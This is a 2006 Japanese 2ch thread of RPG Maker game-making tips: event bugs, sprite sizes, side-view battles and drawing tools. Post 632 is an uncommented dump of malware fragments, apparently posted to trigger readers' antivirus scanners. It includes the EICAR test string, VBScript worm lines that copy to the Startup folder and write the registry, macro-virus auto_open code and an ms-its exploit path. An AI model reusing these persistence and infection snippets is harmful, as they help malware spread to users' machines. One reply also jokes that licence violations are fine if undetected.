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-RPGツクール総合スレッド@製作技術(Part10)-



1 名前:ツクレナーイ mailto:hage [2006/10/09(月) 13:29:40 ID:6nugrYnE]
PC版RPGツクールの「製作技術的な話題」を扱うスレッドです。
それ以外の雑談などは同人ゲーム板の該当スレッドでお願いします。

【注意】
 −基本的にsage進行で。

 −質問をする時は、書き込む前に必ず説明書やヘルプに目を通すこと。
   また、可能な限り前スレも参照、検索をしたのち、
   どうしてもわからなかった場合にのみ質問をして下さい。
   ※特にRPGツクール2000は付属のヘルプが非常に充実しています。

 −自分本位な質問は慎むこと。
   「サイドビュー戦闘の作り方教えて下さい!」といった漠然とした
   質問には、回答者も適切な回答を示すことができません。
   「〜を〜して、〜してみたがうまくいかない、どうすればいいか」という風に、
   過程と現在陥っている問題点を具体的に書き込むようにしましょう。
   あなたの質問に答えてくれる人達のことを考えて。

 −まあなにはともあれ、マターリホノボーノで楽しくやっていきましょう。
   言うまでもないことですが、荒らしや煽り・タナ厨や腐女子は放置です。

 −次スレは>>980が建てること。

前スレ
-RPGツクール総合スレッド@製作技術(Part9)-
pc8.2ch.net/test/read.cgi/gamedev/1153996333/

631 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:58:58 ID:NKAHTtRD]
ライセンスも含めて譲渡して貰ってください。

632 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 16:54:26 ID:CMuuaM1v]
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

633 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 19:19:34 ID:Wu1+q31F]
>>631
バカな俺にもうちょっとkwsk教えてくれ。 頼む

634 名前:名前は開発中のものです。 [2006/11/21(火) 22:31:03 ID:StR14aQj]
>>631
ライセンスはソフトの所有者にあるからソフトを譲渡してもらった時点でライセンスはあなたにあるよ。
ただし、所有権を譲った以上、もとの所有者である君の友人が自分のPCにインストールしたままだと、
君の友人はライセンス違反になる。

もしも、そのソフトを友人から貸与されて使用した場合には所有権はその友人にあるので君がライセンス違反になる。
場合によっては(てか普通は)ソフトの貸与自体がライセンス違反になるから君も友人もライセンス違反になる可能性もある。

でも、バレなきゃいいのよwwwww
犯罪は発覚した時点で犯罪なのよ。


635 名前:名前は開発中のものです。 [2006/11/21(火) 22:31:42 ID:StR14aQj]
>>631じゃなくて>>633だった・・・

636 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 22:48:22 ID:klpEbWwk]
RPGツクール2000の質問です。
主人公の名前の変更時に他の主人公と重複しないようにしたいのですが
条件で\v[x]を使用しても参照できていないようです。
他の主人公の名前と比較する方法があれば教えてください。

637 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 23:23:03 ID:JbtgywjM]
条件ちゃんとみろ

638 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 23:30:09 ID:s6uV0oVs]
作ったの配布するには、ユーザー登録ハガキを送る必要もあったよな?

639 名前:636 mailto:sage [2006/11/21(火) 23:36:28 ID:klpEbWwk]
間違えました、\n[0]で参照できません



640 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 00:56:47 ID:hi0t3O0H]
もう2000の登録は送ってもただそれだけっぽい、問い合わせの時も番号を言っても向こうはわからなかったり
管理をちゃんとやっていない感じだし、そのデータ自体のデータベースが現在あるのかも怪しい状態。

641 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:19:34 ID:0iBiQGom]
そんなんで、ユーザ登録ハガキ必須とか言ってんのか('A`)

642 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:31:08 ID:pY8WoX1x]
>>639
名前変更可能なキャラが複数いて、それらが重複しないようにしたいんだよね?
\N[n]が有効なところは限られてるから、ムリな気がする。
デフォルトネームに重複してるかは判定できるけど。
同名キャラを普通作りはしないから、プレイヤーにお任せするしかないんじゃない?
名前入力を使ったイベントを組みたいなら、考え直すしかないかと。

643 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:50:33 ID:7azrMRpP]
>>634
日本の法ってややこしいな・・・サンクス!!

644 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 05:37:38 ID:mVS2A34P]
そんなのいちいち気にするなんて律儀ですね。
さすがゲ製作技術板だ。

645 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 23:31:08 ID:7azrMRpP]
技術に関する質問じゃなくて悪いんだが、このスレの住人の人って
ツクールで何か作品完成させたことある? もしよければ教えて欲しい

646 名前:名前は開発中のものです。 [2006/11/22(水) 23:40:21 ID:mysPVd5M]
>>645
完成させた奴は自分のHPでも作ってそっちでやってるよ。

647 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 00:18:17 ID:7KmoeQ9B]
>646
作品がみたいんじゃなくて、完成させた人がいるかどうかを聞きたかった

648 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 00:38:08 ID:+GxueJkn]
質問をはぐらかされるということは、です

649 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 04:02:07 ID:TV1BVAmA]
あるけれど最近不穏な空気が濃くなっていて安心して作ったものをUPできるのはVIPくらい。



650 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 12:40:55 ID:jIcHT9mO]
>>645>>649 の間にもの凄く温度差を感じた。
>>645 の言う作品というのは、そんなサンプルに毛の生えた様な代物ではないだろうに。

651 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 20:24:38 ID:b+j04Nn6]
はは、確かに

652 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:03:20 ID:/g98BoGv]
2000バリューで制作してるのだが、まったく同じイベントをやっているのに
命令が効いたり効かなかったり…ということが起こってしまった。

自作メニューをマップで作っていて、
メニューマップに行く前に「主人公の向き固定」
元のマップに行く前に「向き固定解除」で
「指定動作の全実行」はどちらとも直後に入れてる。
なのに、「向き固定」と「向き固定解除」の命令がしばしば片方効かなくなる。

この部分に関してはむちゃくちゃ単純だから、
イベントの組み方が変というわけではないと思うんだけど…。
こういう命令が効く効かない「ゆらぎ」みたいなのは時々あるのだろうか?

653 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:13:17 ID:4xFaXXJ0]
うp

654 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:46:35 ID:TV1BVAmA]
>>650
別に作品規模はどちらも何も言ってないのに勝手に温度差を感じるとはいかに?
サンプルに毛が生えた程度のサンプルとはどんな物だろう?ツクールに同梱されたサンプル作品は
短い物もあるが十分な完成作品といえる出来だと思うが?

655 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 22:08:09 ID:rTH5Jy9h]
>>652
つか、面倒ならメニューに入る時の向きを変数で管理して、
メニューから戻る時に代入された変数に応じて向きを変更すればおk。

656 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 22:48:10 ID:/g98BoGv]
原因わかった。
決定キー押してるとダッシュできるようにしてたんだけど
たぶんそれのせいだ。
書いてなかったことが原因ですまん。

うpしようかとメニュー関連だけ取り出したら、
それまで5回に1回くらいは不具合起きてたのが
ピタッと止まったのでわかった。
ともかくここに相談したことで原因解明した。ありがと。

657 名前:653 mailto:sage [2006/11/24(金) 00:23:16 ID:iqZ9NDRW]
>>656
俺の的確なアドバイスのお陰だな。
もっと感謝しなさいよ。

658 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 01:40:48 ID:x5Afjfuy]
てめえwww

659 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 14:06:04 ID:vHrxg56h]
たった2文字で解決させちまうとはな



660 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 14:44:50 ID:/E6j1+Wk]
コナンでもそうは行かんな

661 名前:タナ栗粉 [2006/11/24(金) 19:26:50 ID:iYQRpe0E]
いやあ、考えたシナリオって月日とともに大分かわるね
初期に考えてたのは今思うとひでえな、俺の小説のシナリオよりひどいレベルだったからな
今はかなりよくなった。俺のRPGのシナリオ知りたいひと

662 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 21:11:43 ID:7QD5YBkK]
あらすじなんかどうでもいいからとっととうpしろよ?
一体いつになったら出来るんだよ?


663 名前:タナ栗粉 [2006/11/24(金) 21:30:02 ID:iYQRpe0E]
あと半年もしたら完全に完成する

664 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 22:42:09 ID:1hNXieKM]
エターナる

665 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 04:52:52 ID:OSfej1q9]
何が?

666 名前:タナ栗粉 [2006/11/25(土) 12:47:02 ID:eRvJ5j5W]
誰も聞いてくれないのか
あーもういいよ ばーかばーか

667 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 14:48:46 ID:ch6mcSIS]
じゃあ聞いてやるから、とりあえずwordでシナリオ関連をまとめて、うpしてみろよ
脳内で作ったストーリーなんてまともなもんじゃねーし
ツクールの歴史変えるだのと散々言ってきたんだから、それ位当たり前だよな?

668 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 16:19:52 ID:jfDjeXNV]
>>666
ああ、ワードでまとめてくれれば、
こっちも評価のしようがあるんだけどな。

669 名前:タナ栗粉 [2006/11/25(土) 17:06:03 ID:eRvJ5j5W]
そんな無理難題を俺に突き付けてさあ俺をつぶそうと・・・
あー なるほどお 強大な敵は若い芽のうちにってわけ?



670 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:08:52 ID:IMhFadJq]
エターナッてはや3年。
システムツクって燃え尽きちまう。   

671 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:12:48 ID:jfDjeXNV]
>>669
いやいや、設定を箇条書きにしたものだけでいいからさ。
ワードでまとめて、ロダに上げてくれや。
ここで延々とレスするよりは、まとまった文章で発表するほうがいいだろ?

672 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:15:06 ID:rgV5wg96]
そうだよね。どうせ途中で投げて日の目をみることはないんだろうし、設定だけでも発表してすっきりしちゃいなよ。

673 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:37:23 ID:ch6mcSIS]
天才ツクーラーなんだからその程度のことわけないだろ?
自分の作ったストーリーの筋書きもまとめられない奴を
「強大な敵」とは呼べないな。少なくとも俺は。

674 名前:タナ栗粉 [2006/11/25(土) 18:47:02 ID:eRvJ5j5W]
別に普通に設定書けばいいんだろ?つか確か前ここに書いた気がするけどまあいいか

675 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 18:57:13 ID:jfDjeXNV]
>>674
おう。
ワードでちゃんとまとめてな。
よろしく頼むぜ!

676 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 19:50:05 ID:zT/yEFpr]
練習用にドラクエ1をツクール上で再現するのって違法?

677 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:00:42 ID:zT/yEFpr]
あ・・・話の流れをぶった切ってしまったようだ^^; スマン
ところで、タナ厨のゲームって神獣がなんとかってやつだっけか? うp

678 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:02:54 ID:unIdZTV3]
早く天才ツクーラータナの設定資料集見たいな〜

679 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:03:32 ID:kRzKcBcu]
グレーゾーンじゃね?
再現して個人で楽しむ分にはほとんど問題ないかと

それを公開するとかはアレだな クロゲパ行き
クロゲパに行ったところでどうなるって問題じゃないけどな



680 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:04:47 ID:kRzKcBcu]
>>679>>676に対してね
要は再現するだけならいいんじゃね?って話

681 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:06:37 ID:zT/yEFpr]
>>679 >>680
レスサンクス♪
練習用だし、あくまで個人的なものだからよかったゎw

682 名前:タナ栗粉 mailto:ぱくんなよ(*^_^*) [2006/11/25(土) 21:29:20 ID:eRvJ5j5W]
【作品名】
オヴェルスの翼
【あらすじ 設定】
「聖なる地オヴェルス それはすべての始まりの場所
悲しみも絶望も そして光さえも」

レーヴェンドと呼ばれる世界 そこは「ヨミ」という名の魔物が存在していた。
ヨミは幼生から成体へと進化し、新たな幼生を産み次々と増えていった。
ヨミの前では新兵器の「銃」ですら玩具同然だった。
家族を切り裂かれ友をほふられ 人々は滅びを決意する。
しかしある日 オヴェルスから翼を持った古代生物が四体発見された。
聖地から発見されたというその生物は神獣と名付けられた。
そしてヨミに対抗するために、一人の男が己の体に神獣の細胞を埋め込み 人知を越えた力を手にすることに成功した。・・・・ある代償と引き替えに。
そしてその後 ヨミを恨む者 何かを守ろうとする者 名誉を得ようとする者 数々の人間がその力を手にする。


時は50年後 神獣の細胞を埋め込み、力を得た人間による組織が結成されていた。
そしてその組織は聖地オヴェルスをはばたかせる者という意味を込め
「オヴェルスの翼」と呼ばれるようになった。
オヴェルスの翼は新兵器である「銃」の登場により衰退していった「剣」や「槍」と呼ばれる「古代神器(こだいしんき)」を駆使する。
そしてオヴェルスの翼は村や町 ある時は国から依頼を受けヨミを討伐する 無くてはならない存在となっていた。
オヴェルスの翼は実力や戦績に応じて大きく三つに分けられ
小隊の隊長や各隊の伝令、監視を行う「黒羽」
隊長の補佐などを行う「赤羽」
そして通常の戦闘員である最下層「白羽」からなる。
主人公ツウァイスはある目的のためにオヴェルスの翼となる。


683 名前:タナ栗粉 mailto:ぱくんなよ(*^_^*) [2006/11/25(土) 21:30:24 ID:eRvJ5j5W]
主人公ツウァイスはある目的のためにオヴェルスの翼となる。
白羽であるツウァイスだが腕に刻まれた白い翼の紋章は何故か片翼だった。
そして白羽でありながら黒羽以上の力を発揮するツウァイス
物語が進むにつれ自分が所属することになる小隊の隊長レインや、離反者で元小隊の隊長であるベルガー、新しく小隊に所属してきたアルゼなど仲間が増えていく
しかしツウァイスは自分の感情を決して表に出そうとはしない
そんなツウァイスだったがやがて自分の故郷がある人間により壊滅されたことを語る
そしてそれはかつてのツウァイスの恩人だった。
オヴェルスの翼となるための代償
それは神獣の細胞の拒絶反応により定期的にくる激痛
そして記憶を少しずつ無くしていくことだった
更に時が経つにつれその症状は悪化し全ての「オヴェルスの翼」はやがては廃人となる。
しかしまれにその症状が急激に進行し神獣の細胞に支配され、廃人とはならず 強い怨念だけを糧に破壊を繰り返し、さ迷う「咎羽」となる。
あるヨミに導かれ「咎羽」となったツウァイスの恩人は故郷を壊滅させ そのヨミと共に姿を消したのだった。

いつも憎しみに塗れた剣を振るうツウァイス。
その話を聞いただれもがツウァイスは復讐を果たすために戦っているのだと思った。
恩人を咎羽へと陥れたヨミへの復讐 確かにそれがないわけではなかった。しかしツウァイスの本当の目的はその恩人を斬ることだった。
誰よりも優しく 誰よりもお人好しだった かつての恩人
そんな恩人がわけもわからず人を傷つけている
その苦しみから恩人を解放することがツウァイスの本当の目的だったのだ。
復讐と解放 その狭間で揺れながら それでも全てを捨て 解放を選んだツウァイス。
そして再び剣を取る


684 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 21:48:27 ID:t8pTfz4l]
>>682
wordで上げろ、読む気がしない。

685 名前:名前は開発中のものです。 [2006/11/25(土) 21:51:11 ID:eRvJ5j5W]
無理 俺基本携帯だから 苦労して書いたんだから読め

686 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 22:02:44 ID:t8pTfz4l]
>>685
それはいいことを聞いた。
ほれ、

>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1
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687 名前:名前は開発中のものです。 [2006/11/25(土) 22:06:58 ID:eRvJ5j5W]
ん?

688 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 22:09:09 ID:2LGL7lkQ]
>>686
最近の携帯は画面スクロールとかしやすいし
NEC製のだとマウスみたいな操作もできるから
それあまり効果ないかもしれんぞ

689 名前:タナ栗粉 [2006/11/25(土) 22:59:14 ID:eRvJ5j5W]
おい なぜ誰も何もいわない



690 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:15:58 ID:3jSNoGBk]
SFCのスーパーダンテのころからやってて
特に何も考えずアホのようなイベントをつくりまくって
自己満足していた俺だが、2000に手を出して
できることの広さとパソコン多少理解してないと
ほとんどやりたいこと出来ない現実をみて落ち込んでいる。
戦闘をサイドビューにする気になればできるとか。
パソコンが解んない俺はイベント命令だけで作るしかないよな。

691 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:36:59 ID:H3nNdd4i]
>>690
2003を買えばすぐできるお( ^ω^)
あとは、付属のサンプルを見て少しずつ真似していくとかな。

692 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:38:32 ID:Aav2aPGs]
2000のデフォ戦を、背景と戦闘アニメを上手く使えばサイドビューにできる。

693 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:48:14 ID:2LGL7lkQ]
>>690
一番簡単なサイドビュー表示の仕方は
戦闘背景にキャラ書いちゃうことだ
これだとアニメーションさせられないのと
メンバー入れ替えするなら背景も変更させないといけないという
面倒な欠点もあるけどね

694 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:53:39 ID:WaX5/QGK]
2000でのサイドビュー自作は技術的には難しくないけど、キャラが死んだ時のグラとかの
素材不足に悩まされることが多い

695 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 00:10:14 ID:as2QHKUP]
>>694
ペイントで横向き画像を90度回転。

696 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 00:22:30 ID:pU9VHTGH]
>>691-694

書いたあとでちょっと厨っぽいこと書いたなと反省したが、
こんな質問でもマジレスしてくれる人いるんだな。サンクス。

画力があればなんとかなったりするんだな。
まあ俺は画力ちっともないんだが…。
少し気が楽になった。ありがとう。

697 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 02:35:27 ID:DbP4CArp]
田奈に「ワードでうpしる」なんて難しいこと言ったら可愛そうだよ。

698 名前:名前は開発中のものです。 mailto:hage [2006/11/26(日) 08:43:21 ID:e7IFC+Rc]
vista.nazo.cc/img/vi6449810572.png

699 名前:タナ栗粉 [2006/11/26(日) 12:13:38 ID:D10CnOGR]
ん?なんであらすじ公開したのにみんな黙りこくっちゃったんだ?あー!さては俺のストーリーがすばらしすぎて自分の作品を諦めざるを得なくなったんだろ?
やっぱ才能がありすぎるというのは罪ってのも納得だな



700 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 14:17:08 ID:7KR2Etiq]
ttp://blog.livedoor.jp/blog_ch/archives/50570040.html
これが思い浮かんだ……w

701 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 16:06:39 ID:Ev2z28G2]
>>700
URL開く前から何か分かった俺は勝ち組w

702 名前:名前は開発中のものです。 [2006/11/26(日) 21:11:30 ID:v4u8P29O]
>>699
凄い才能ですね。
こんな才能のない連中のいるゲ作板にあなたのような人は近寄るべきではないと思います。
あなたのように才能溢れた人たちが集まる場所に移動するべきではないでしょうか。
お勧め場所は「VIP板」です。アソコには才能が頭蓋骨からあふれ出ちゃった人たちが常駐しています。
あなたも「VIP板」で「才能が頭蓋骨から溢れちゃってる俺様がゲームを作るスレ」あたりのタイトルでスレを立ててください。


703 名前:タナ栗粉 [2006/11/26(日) 21:23:44 ID:D10CnOGR]
うむ。ではVIPに紹介してくれたまえ
おっとスレがだいぶ脱線してしまったな 俺は意外にもこのスレを大切に思っているのでしばらく消えてみよ
あでゅー^^

704 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 01:14:09 ID:x7XZg3u1]
>>703
とりあえずこのスレから覗いてみるといいよ。

VIPが無いと暇
etc3.2ch.net/test/read.cgi/siberia/1163501952/l50


705 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 03:45:41 ID:77PrszSN]
ちょっとガンパレのウラ設定を彷彿とさせた

706 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 10:14:12 ID:efDdnjp2]

ツクールXPにてマップチップやキャラチップを作成する上でお勧めの描画ツールは
何がありますでしょうか?


707 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 12:29:07 ID:F/tC4fNk]
フォトショ

708 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 13:57:05 ID:+j8NyQCr]
たけえよ。Gimpで良くね?

709 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:00:15 ID:dQe3QpCG]
ペインタークラシックforタブレットのオマケソフト



710 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:01:51 ID:Hm1NBkGm]
GIMPで十分だよ。Photoshopに勝るとも劣らない。
フリーであれは素晴らしいと思うよ。


使ったことないけど。

711 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:58:06 ID:S8cl0zEo]
フリーソフトの範囲でオススメするなら
チップ素材はドット打ちが基本だから256色なら
「EDGE」 www.tkb-soft.hmcbest.com/program/win/edge/
フルカラーなら
「GraphicsGale」 www.humanbalance.net/gale/
さらにフルカラーPNGをαチャンネル透過付きで出力したいなら
「PictBear SE」 sleipnir.pos.to/software/pbse/
辺りがいいんじゃないか?

GIMPは高機能だし十分だけど、GUIがLinuxライクなのと高機能であるがゆえに
機能の割り当てを把握するのが初心者には非常に難しいからあまりお薦めしない。


712 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 00:02:38 ID:4xM3nFKz]
2000で自作戦闘作ったが、デフォ戦で十分じゃないかと思えてきた
作りこまないとデフォ戦に劣るが、作りこむならスクリプト使えるxpで作りたいジレンマ

713 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 01:04:29 ID:DjBynyzm]
じゃあXPで作ればいいじゃん。
2000の自作って何のメリットがあるのかわからん。
XPだと他にデメリットがあるから2000ってんなら話はわかるけど

714 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 18:59:05 ID:xSki4YQJ]
メリットって
こだわりたいか気にしないかという単純な考えによると思うんだが・・・
制限の中で色々試行錯誤する楽しみもツクールにはあると俺は考えるぜ?

715 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 19:06:01 ID:xtejKipu]
それ(制限の中で試行錯誤する楽しみ)が2000からXPになるとなくなるのか、
と言うと疑問。

というよりそもそも>712は「作りこむならスクリプト使えるxpで」と言ってるんだから、
楽しみなんか感じてないだろうしなぁ。

716 名前:名前は開発中のものです。 [2006/11/28(火) 19:51:11 ID:4xM3nFKz]
>>715
さすがに楽しみを感じないって事は無いぜ、処理の方法とか試行錯誤するのは割と好きだし

もうしばらく2000で頑張ってみる事にする

717 名前:名前は開発中のものです。 [2006/11/28(火) 21:50:16 ID:jG/Nvvnc]
つーか、ツクールXPってプログラミング覚えるには結構良くないか?
Rubyがいいってわけじゃなくて、ツール中のスクリプトエディタの中をじっくり見てると
この処理はこうやってるんだってのがわかる。
VBで仕事用のしょうもないアプリ作っててもゲーム作りはできるようにならないよな。


718 名前:名前は開発中のものです。 [2006/11/28(火) 21:55:16 ID:igIecFqv]
ちょっと質問。
ツクール2000でゲームを作ろうと思ったら、突然マップツリーデータが壊れていますとか言ってゲームが作れなくなったんだけど。
これって他になった奴いる?
対処法とかあるのかね?

719 名前:名前は開発中のものです。 [2006/11/28(火) 22:26:56 ID:Q3B8iOYb]
>>718
チーン



720 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 00:07:54 ID:3X2v9GAs]
>>718

ttp://diarynote.jp/d/46594/_0_50.html
の5月4日

でもデーターベースが劣化するの痛い痛い
以前同じ状態になって、今も完全復旧できてない

721 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 09:07:54 ID:mpLisTa7]
2000で、複数のスイッチを一つの変数で代用しようと思うのですが、スイッチ20個までが限界でしょうか?

722 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 10:13:47 ID:RFocoNSH]
2000ってキャラの大きさ固定でしたっけ?
XPでは自由な大きさのキャラが作れるので気に入ったんですが。
あと単独EXEにできる点もかな。

723 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 10:52:02 ID:fVeCZEa/]
キャラは24x32。

724 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 14:53:47 ID:JXFXiPDk]
>>720
バッグアップw

725 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 17:34:24 ID:/3VbJ5ip]
>>722
1キャラの大きさは固定だけど
キャラチップをいくつか並べれば好きな大きさにできる。
足元が動いたら周りも同じように動くよう設定しなきゃなんないけど。

726 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:08:27 ID:epYJz9gz]
ツクール2000にて、あるイベントが主人公に触れたとき、
そのイベントが勝手に下向きになってしまうのは仕様?

勝手に下向きになってしまう系の仕様って何かあったっけ?

727 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:15:18 ID:mpLisTa7]
そんなのあったっけ?
ページ変えたから、とかじゃないの?

728 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:26:52 ID:epYJz9gz]
ページは変わってないなぁ。

「イベントから触れたとき」「通常キャラの下」のイベントが
主人公と重なると、重なる瞬間に下向きになる。

イベント実行内容には、イベントグラフィック変更も下向き命令も存在しない。


わけわかめ。

729 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:31:51 ID:mpLisTa7]
アニメーションタイプを向き固定にするといいんじゃないの



730 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:44:24 ID:epYJz9gz]
試しに向き固定にしてみた。

そのイベントは、移動中にはしっかり向き固定してたのに、
やはり触れたとたんに下向きに・・・。

人生オワタ\(^o^)/

731 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:49:40 ID:eJZ8HFzu]
イベント周囲のマップ上層チップを削除してみ?

732 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:53:51 ID:NnZ1TQQb]
2000で、飛行船に乗ってる状態で、
マップに配置したイベントに触れてイベントを開始させる方法ってある?

733 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:56:57 ID:epYJz9gz]
マップ上には、もともと上層チップがなかったりする・・・。

すまん、ありがとう。
もう別の手で行くことにするよ・・・。

みなも、やってみると同じ症状がでる・・・かも?


734 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 19:10:51 ID:KbwIMQsl]
キャラグラの下向きを好きな向きのグラに描き変えればおk

735 名前:名前は開発中のものです。 [2006/11/29(水) 19:16:33 ID:a5CTLXX5]
>>725
スマソ、それってプレイヤーが操作する主人公でもできる?
でかいキャラを自由に動かしたいんだが

736 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 19:20:21 ID:ldbwnNd5]
>>732
イベント位置の座標を監視して自動開始とかは嫌い?

737 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 20:03:26 ID:NnZ1TQQb]
>>736
やはりそれしかないか。
もう既に並列処理を常時いくつか使ってるから、
できれば避けたかったんだよな。

738 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 20:22:08 ID:ldbwnNd5]
>>737
どんなマップか分からないからなんだけど、飛行船の影が来る一段上にイベントを置くのは?
んでイベント開始を、条件分岐で飛行船に乗っている時に起きるようにするとか。

739 名前:737 mailto:sage [2006/11/29(水) 20:58:24 ID:H5oiQwVN]
>>738
ああいや、飛行船の画像と中心座標がずれてることが問題じゃなくて、
イベント開始条件が「主人公から触れた時」の場合に、
飛行船に乗ってる状態で触れても開始しないことが問題なんだわ。



740 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 21:09:45 ID:HFV3usia]
逆に飛行船の方をデフォを使わず自作すると言う発想もあるがめんどいだろうな。
やはり座標を監視するイベントが無難だろうな。

741 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 22:03:33 ID:ldbwnNd5]
>>739
飛行船に乗っているとき「主人公から触れたとき」ではなく
「イベントから触れたとき」なら実行されるから、それを利用するのは?

742 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 23:10:11 ID:H5oiQwVN]
>>741
それは盲点だった、サンクス。

743 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 00:15:33 ID:jUkxd+7p]
xpで作ってるんだけど、自動実行イベントの最初に
ピクチャー表示コマンドを置くと、スイッチで締めるかなんかしない限り
一生表示されない気がする。

744 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 23:27:49 ID:uXnPOTH0]
2003から引用して2000でコモンの呼び出しをしたいんですが未知のコマンドになって呼び出しができません。どうやって呼び出せばいいんでしょうか?

745 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 23:57:12 ID:sZBF08Lw]
2003で編集したゲームは2000で開くことは出来なくなるのでしょうか?

746 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:16:41 ID:K8/OA4XI]
可能。RPG_RT.exeを2003から2000に差し替える必要があるけどね。

あと、2000で一度データを開いてから再びRPG_RT.exeを2000から2003に差し替えると、
詳しい仕組みは知らんが、2000のくせに2003verでテストプレイが出来る。

747 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:19:31 ID:K8/OA4XI]
言い忘れ。
上記のは、あくまで開く事が可能なだけであって、ゲームを起動するって言うなら無理。
